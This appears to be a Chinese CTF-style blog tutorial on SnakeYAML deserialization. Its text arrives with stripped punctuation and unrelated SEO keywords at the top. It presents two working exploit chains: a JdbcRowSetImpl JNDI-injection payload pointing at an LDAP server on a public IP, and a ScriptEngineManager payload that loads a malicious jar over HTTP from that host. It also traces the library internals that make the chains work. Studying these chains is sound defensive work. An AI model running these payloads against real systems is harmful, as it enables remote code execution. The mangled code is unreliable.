理财网站开发,专业装修设计网站,家具网站设计网,网站设计 素材目录
关于Yaml
关于SnakeYaml
SnakeYaml反序列化利用
JdbcRowSetImpl链
ScriptEngineManager链
复现
基本原理
继续深入 关于Yaml
学过SpringBoot开发的师傅都知道#xff0c;YAML和 Properties 文件都是常见的配置文件格式#xff0c;用于存储键值对数据。
这里举…目录
关于Yaml
关于SnakeYaml
SnakeYaml反序列化利用
JdbcRowSetImpl链
ScriptEngineManager链
复现
基本原理
继续深入 关于Yaml
学过SpringBoot开发的师傅都知道YAML和 Properties 文件都是常见的配置文件格式用于存储键值对数据。
这里举几个Yaml的例子回顾一下
# 示例 YAML 文件# 字符串和整数
name: John Doe
age: 30# 列表
languages:- Python- JavaScript- Java# 映射
address:street: 123 Main Streetcity: Anytownpostal_code: 12345# 嵌套结构
person:name: Aliceage: 25address:street: 456 Elm Streetcity: Somewherepostal_code: 54321上面的例子体现了几个Yaml的特性
使用 key: value 的格式表示键值对数据。 使用缩进表示层次结构比如 languages 是一个列表address 是一个映射。 支持注释以 # 开头。 如何表示字符串、整数、列表和嵌套结构。 此外在 YAML 中方括号 [] 和双方括号 [[...]] 分别表示列表和嵌套列表的含义。 单方括号 [] 表示列表 在 YAML 中单方括号 [] 表示一个简单的列表其中可以包含一组项目。例如items: [apple, banana, orange] 表示一个包含三个字符串元素的列表。 双方括号 [[...]] 表示嵌套列表 双方括号 [[...]] 表示一个嵌套的列表即一个列表中包含另一个列表。这种结构用于表示更复杂的数据结构其中内部列表中可以包含多个项目。在嵌套列表中每对方括号表示一个新的列表层级。例如nestedList: [[1, 2], [3, 4], [5, 6]] 表示一个包含三个子列表的父列表每个子列表包含两个整数元素。 关于SnakeYaml
SnakeYAML 是 Java 中一个流行的 YAML 解析库用于读取和生成 YAML 数据。
1.加载LoadYAML 数据 使用 SnakeYAML 的 load 方法可以将 YAML 数据加载到 Java 对象中。这个方法会将 YAML 格式的数据解析为对应的 Java 对象。
2.转储DumpJava 对象为 YAML 格式 使用 SnakeYAML 的 dump 方法可以将 Java 对象转换为对应的 YAML 格式数据。
举例
一个User Bean
package com.snake.demo;public class User {private String name;public int age;public User(String name, int age) {this.name name;this.age age;}public User() {System.out.println(Non Arg Constructor);}public String getName() {System.out.println(getName);return name;}public void setName(String name) {System.out.println(setName);this.name name;}public int getAge() {System.out.println(getAge);return age;}public void setAge(int age) {System.out.println(setAge);this.age age;}Overridepublic String toString() {return I am name , age years old;}
}
测试类
package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class Main {public static void main(String[] args) {User user new User(Z3r4y, 18);Yaml yaml new Yaml();System.out.println(yaml.dump(user));String s !!com.snake.demo.User {age: 18, name: Z3r4y};User user2 yaml.load(s);System.out.println(user2);}
}
运行结果
getName
!!com.snake.demo.User {age: 18, name: Z3r4y}Non Arg Constructor
setName
I am Z3r4y, 18 years old
通过上述lab我们至少可以得到以下两点结论
①yaml反序列化时可以通过!!全类名指定反序列化的类反序列化过程中会实例化该类
②四种属性修饰private,protected,public,default若属性设置为public则不会调用对应的setter方法当属性为public时是通过反射对Field进行了set而当属性为private时是通过反射调用setName设置的值 SnakeYaml反序列化利用
SnakeYaml反序列化和fastjson反序列化一样都会调用setter不过对于public修饰的成员不会调用其setter。
除此之外SnakeYaml反序列化时还能调用该类的构造函数
于是乎便分别有了以下两种的利用 JdbcRowSetImpl链
调用JdbcRowSetImpl#setAutoCommit这样就成功触发了JdbcRowSetImpl链,从而JNDI注入
先导pom依赖
dependencygroupIdorg.yaml/groupIdartifactIdsnakeyaml/artifactIdversion1.27/version/dependency
编写POC
package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC1 {public static void main(String[] args) {String poc !!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://124.222.136.33:1337/#suibian, autoCommit: true};Yaml yaml new Yaml();yaml.load(poc);}
}
开一个恶意LDAP服务器 找个端口放恶意字节码 成功弹计算器 和FastJson反序列化原理一样的不多解释可以看这篇文章【Web】速谈FastJson反序列化中JdbcRowSetImpl的利用 ScriptEngineManager链
复现
javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行底层是个SPI关于SPI可以看看这篇文章不多赘述
【Web】浅浅地聊JDBC java.sql.Driver的SPI后门
【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客
github上现成的利用ScriptEngineManager利用方式的exp:
GitHub - artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads
拿到手稍微小改下这个部分代码就可 运行下列命令生成个jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ . 然后开个端口把恶意jar包放服务器上 运行这段代码弹出计算器
package com.snake.demo;import org.yaml.snakeyaml.Yaml;public class POC2 {public static void main(String[] args) {String poc !!javax.script.ScriptEngineManager [\n !!java.net.URLClassLoader [[\n !!java.net.URL [\http://124.222.136.33:1337/yaml-payload.jar\]\n ]]\n ];Yaml yaml new Yaml();yaml.load(poc);}
} 基本原理
OK复现成功了我们跟下调用链
首先看到javax.script.ScriptEngineManager的有参构造方法调用了init并传入了一个ClassLoader至于从哪传的后面会讲暂按下不表。
public ScriptEngineManager(ClassLoader loader) {init(loader);}
init方法进行一些初始化设置之后调用initEngines()
private void init(final ClassLoader loader) {globalScope new SimpleBindings();engineSpis new HashSetScriptEngineFactory();nameAssociations new HashMapString, ScriptEngineFactory();extensionAssociations new HashMapString, ScriptEngineFactory();mimeTypeAssociations new HashMapString, ScriptEngineFactory();initEngines(loader);}
initEngines方法调用了getServiceLoader private void initEngines(final ClassLoader loader) {IteratorScriptEngineFactory itr null;try {ServiceLoaderScriptEngineFactory sl AccessController.doPrivileged(new PrivilegedActionServiceLoaderScriptEngineFactory() {Overridepublic ServiceLoaderScriptEngineFactory run() {return getServiceLoader(loader);}});itr sl.iterator();}
跟进getServiceLoader方法
private ServiceLoaderScriptEngineFactory getServiceLoader(final ClassLoader loader) {if (loader ! null) {return ServiceLoader.load(ScriptEngineFactory.class, loader);} else {return ServiceLoader.loadInstalled(ScriptEngineFactory.class);}}
返回一个ServiceLoaderT根据这个可以获取一个指定了加载类为ScriptEngineFactory的迭代器这也和我们生成恶意jar包的项目的META-INF/services目录下的文件名呼应 ok到这一步我们已经获得了一个指定了加载类为ScriptEngineFactory的迭代器
initEngines方法接着向下执行又看到了两个熟悉的方法hasNext()、next()
try {while (itr.hasNext()) {try {ScriptEngineFactory fact itr.next();engineSpis.add(fact);} catch (ServiceConfigurationError err) {System.err.println(ScriptEngineManager providers.next(): err.getMessage());if (DEBUG) {err.printStackTrace();}// one factory failed, but check other factories...continue;}}}
不多作赘余解释这篇文章里有写【Web】浅聊JDBC的SPI机制是怎么实现的——DriverManager-CSDN博客
总结来说就是
hashNext用于获取全路径并读取文件中的内容
next用于执行文件中对应的类导致恶意类的动态加载恶意静态代码块的执行从而完成攻击 问题是恶意类来自哪呢是来自反序列化调用远程jar包
如何调用远程的jar包呢只能说是由URLClassLoader和URL来具体操作的我们不做具体讨论
原理这部分到此为止。 继续深入
我们先回到本源来看看Yaml#load是如何操作 public T T load(String yaml) {return this.loadFromReader(new StreamReader(yaml), Object.class);
} 先是将我们的payload字符串存入StreamReader的stream中 public StreamReader(Reader reader) {this.pointer 0;this.index 0;this.line 0;this.column 0;this.name reader;this.dataWindow new int[0];this.dataLength 0;this.stream reader;this.eof false;this.buffer new char[1025];
} OK我们再回到loadFromReader()其创建了一个Composer对象并封装到constructor中 private Object loadFromReader(StreamReader sreader, Class? type) {Composer composer new Composer(new ParserImpl(sreader), this.resolver, this.loadingConfig);this.constructor.setComposer(composer);return this.constructor.getSingleData(type);
} 跟一下this.constructor.getSingleData
代码中首先通过 composer 对象的 getSingleNode 方法获取一个节点Node对象。接着判断该节点是否为非空且不是表示空值的特殊标记。如果条件成立则继续执行下面的逻辑否则会返回一个表示空值的对象。 public Object getSingleData(Class? type) {Node node this.composer.getSingleNode();if (node ! null !Tag.NULL.equals(node.getTag())) {if (Object.class ! type) {node.setTag(new Tag(type));} else if (this.rootTag ! null) {node.setTag(this.rootTag);}return this.constructDocument(node);} else {Construct construct (Construct)this.yamlConstructors.get(Tag.NULL);return construct.construct(node);}
} 接着调用constructDocument() protected final Object constructDocument(Node node) {Object var3;try {Object data this.constructObject(node);this.fillRecursive();var3 data;} 跟constructObject
protected Object constructObject(Node node) { if (constructedObjects.containsKey(node)) { return constructedObjects.get(node); } return constructObjectNoCheck(node); } 跟 constructObjectNoCheck
constructObjectNoCheck()中recursiveObjects值为空所以不执行if并通过add将node追加到其中之后由于constructedObjects值也是空所以三目运算执行 : 后边的内容 protected Object constructObjectNoCheck(Node node) { if (recursiveObjects.contains(node)) { throw new ConstructorException(null, null, found unconstructable recursive node, node.getStartMark()); } recursiveObjects.add(node); Construct constructor getConstructor(node); Object data (constructedObjects.containsKey(node)) ? constructedObjects.get(node) : constructor.construct(node); node放入recursiveObjects进入constructor.construct(node) public Object construct(Node node) { try { return getConstructor(node).construct(node); } catch (ConstructorException e) { throw e; } catch (Exception e) { throw new ConstructorException(null, null, Cant construct a java object for node.getTag() ; exception e.getMessage(), node.getStartMark(), e); } } 再跟construct for (Node argumentNode : snode.getValue()) { Class? type c.getParameterTypes()[index]; // set runtime classes for arguments argumentNode.setType(type); argumentList[index] constructObject(argumentNode); } 遍历节点调用constructObject()又给循环回去
上面的POC有5个node循环5次。
先后进行了URL、URLClassLoader、ScriptEngineManager的实例化
注意这里实例化是有传参数(argumentList)的把前一个类的实例化对象当作下个类构造器的参数。 最后进入ScriptEngineManager的有参构造器连接上了上文的SPI机制。